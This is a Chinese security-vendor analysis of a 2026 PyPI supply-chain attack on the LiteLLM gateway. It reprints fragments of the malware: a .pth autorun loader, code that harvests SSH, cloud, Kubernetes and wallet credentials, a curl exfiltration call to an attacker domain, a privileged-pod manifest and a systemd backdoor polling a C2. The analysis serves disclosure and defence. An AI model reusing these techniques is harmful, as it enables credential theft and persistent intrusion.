2026年3月24日,作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击,大量使用者的密钥与敏感信息被窃取,再次暴露出当前 AI 供应链体系的安全隐患。
天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。
1. LiteLLM被投毒事件回顾
1.1 LiteLLM简介及攻击回顾
LiteLLM 作为 AI 网关,能够代理 100 多种大语言模型(LLM)的 API,被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star,在 PyPI 的月下载量也超过 9600 万次。
2026 年 3 月 24 日,LiteLLM 在 PyPI 上遭遇供应链投毒攻击,1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据,包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。
1.2 恶意代码中的bug导致攻击露出马脚
此次投毒事件最早由 FutureSearch 发现并上报 PyPI,随后相关恶意版本被迅速下架,整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1],而此次攻击的暴露,恰恰源于攻击者代码中的一个逻辑缺陷。
恶意代码被植入在 .pth 文件中。由于 Python 在启动时会自动执行 .pth 文件中的代码,攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload,而子进程再次触发 .pth 执行,形成类似“分支炸弹”的效果,迅速耗尽系统资源,从而引起研究人员注意。
一次本可长期潜伏的供应链攻击,也因此被意外暴露并及时阻断。
litellm_init.pth
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"],stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
1.3 AI供应链安全的脆弱性
根据 Snyk 的分析报告[2],此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy,获取了维护者的 PyPI 发布凭证,并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。
此次事件导致大量敏感凭据被窃取,受影响用户需要立即吊销并替换相关密钥,以避免后续风险扩散。
OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出,现代软件项目往往依赖复杂的依赖链条,一旦其中任意环节被污染,风险将迅速传导至整个系统。攻击者通过不断窃取凭据,可以持续扩大攻击范围,实现级联放大效应。
例如,当前流行的 MCP 工具 browser-use 在 GitHub 上拥有超过 8 万 Star,其依赖链中包含 litellm。在攻击窗口期内使用该工具,可能直接导致用户被攻击。此外,browser-use 官方推荐使用 uvx 启动 MCP 服务,而 uvx 每次执行都会重新拉取依赖,这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。
2. 攻击原理解析
2.1 攻击复现
litellm-1.82.8 通过 .pth 文件加载恶意载荷,使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如下:
通过分析其 pyproject.toml,可以发现 litellm_init.pth 被显式打包,在用户安装后会被放置到 site-packages 目录中。
pyproject.toml
2.2 原理解析
通过分析 CPython 源码可以发现,Python 在启动时会自动加载 site 模块,该模块负责初始化运行环境并加载 site-packages 目录。
进一步分析 site.py 可知,其会扫描并执行 site-packages 目录下所有 .pth 文件中的 import 语句。因此,攻击者无需任何用户交互,即可在安装完成后自动触发恶意代码执行。
litellm_init.pth
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
3. 攻击代码解析
3.1 两种注入方式
两个恶意版本的注入方式存在差异:
- 1.82.7:
在 litellm/proxy/proxy_server.py中注入代码 - 1.82.8:
通过 .pth文件在启动阶段执行
litellm/proxy/proxy_server.py
...import subprocess, base64, sys, tempfile, osb64_payload = "aW1wb3J0IHN1YnBy..."with tempfile.TemporaryDirectory() as d:p = os.path.join(d, "p.py")with open(p, "wb") as f:f.write(base64.b64decode(b64_payload))subprocess.run([sys.executable, p])...
from . import *
当 proxy 模块被导入时,恶意代码即被执行。
3.2 恶意代码解析
通过对litellm_init.pth中的恶意代码进行反混淆,我们获得了如下代码。
import subprocessimport tempfileimport osimport base64import sysPUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----MIICIj...AAQ==-----END PUBLIC KEY-----"""B64_SCRIPT ="aW1wb3J0IG9zLH..."def run():...try:subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST","https[:]//models.litellm.cloud/","-H", "Content-Type: application/octet-stream","-H", "X-Filename: tpcp.tar.gz","--data-binary", f"@{bn}"], check=True, stderr=subprocess.DEVNULL)except Exception:pass
import os,sys,stat,subprocess,glob...run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')run('printenv')...for h in homes+['/root']:for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:emit(h+f)walk([h+'/.ssh'],2,lambda fp,fn:True)...emit('/var/lib/postgresql/.pgpass')emit('/etc/mysql/my.cnf')emit('/etc/redis/redis.conf')...
具体攻击逻辑如下:
1.系统信息收集
run('hostname; pwd; whoami; uname -a; ip addr...')run('printenv')
1.多维度凭据窃取
-
SSH密钥: ~/.ssh/id_rsa, id_ed25519, authorized_keys等 -
云服务凭据: AWS(/.aws/credentials)、GCP(/.config/gcloud)、Azure(~/.azure) -
Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/token,
kubeconfig等 -
数据库: .pgpass, .my.cnf, Redis/Mongo配置 -
Docker: ~/.docker/config.json -
加密货币钱包: Bitcoin、Ethereum、Solana等密钥文件
3.AWS凭据深度利用
通过IMDSv2获取实例角色临时凭据,并调用Secrets Manager和SSM Parameter Store:
tkn_req=urllib.request.Request('http[:]//169.254.169.254/latest/api/token', ...)cred_req=urllib.request.Request('http[:]//169.254.169.254/latest/meta-data/iam/security-credentials/', ...)sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets',...)
4.Kubernetes集群渗透
利用ServiceAccount Token横向移动,枚举全集群Secrets,并在每个节点部署特权Pod实现持久化:
pod_manifest={'hostPID':True,'hostNetwork':True,'tolerations':[{'operator':'Exists'}],'securityContext':{'privileged':True},'volumeMounts':[{'name':'host','mountPath':'/host'}]}k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)
通过systemd用户服务安装后门,定期从C2 (checkmarx.zone) 获取指令:
PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0...' # 解码后为下载执行器
subprocess.run(['systemctl','--user','enable','--now','sysmon.service'])
3.3 攻击总结
该样本为云原生环境下的高级持续性威胁(APT)工具,具备以下特征:
-
针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取 -
利用容器逃逸和特权Pod实现集群内横向移动 -
加密外传+后门持久化的完整攻击链 -
伪装成”System Telemetry Service”隐藏痕迹
4. 总结
此次针对 LiteLLM 的 PyPI 供应链投毒事件,再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式,但其底层仍依赖于由大量基础代码构成的工具链,例如 agent、MCP 等组件。一旦其中任意环节遭到攻击,影响便可能迅速放大,给用户带来难以估量的损失。与此同时,AI 系统正逐渐具备更高权限,能够自动执行代码、下载并安装依赖,这在提升效率的同时,也显著扩大了潜在攻击面。在这样的背景下,安全责任的边界变得愈发模糊:是依赖平台治理、开发者自律,还是需要引入以 AI 对抗 AI 的自动化防御机制,这些都值得深入思考。此外,密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证,便可持续扩大攻击范围,形成连锁风险。因此,密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。
AI 正如一列高速飞驰的列车,推动社会不断向前发展。但若忽视其底层结构的安全隐患,哪怕是一个看似不起眼的“轴承”出现问题,也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座,将是未来 AI 发展过程中必须正视的关键课题。
恶意包列表
参考文献
[1] Supply Chain Attack in litellm 1.82.8 on PyPI. https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/
[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/

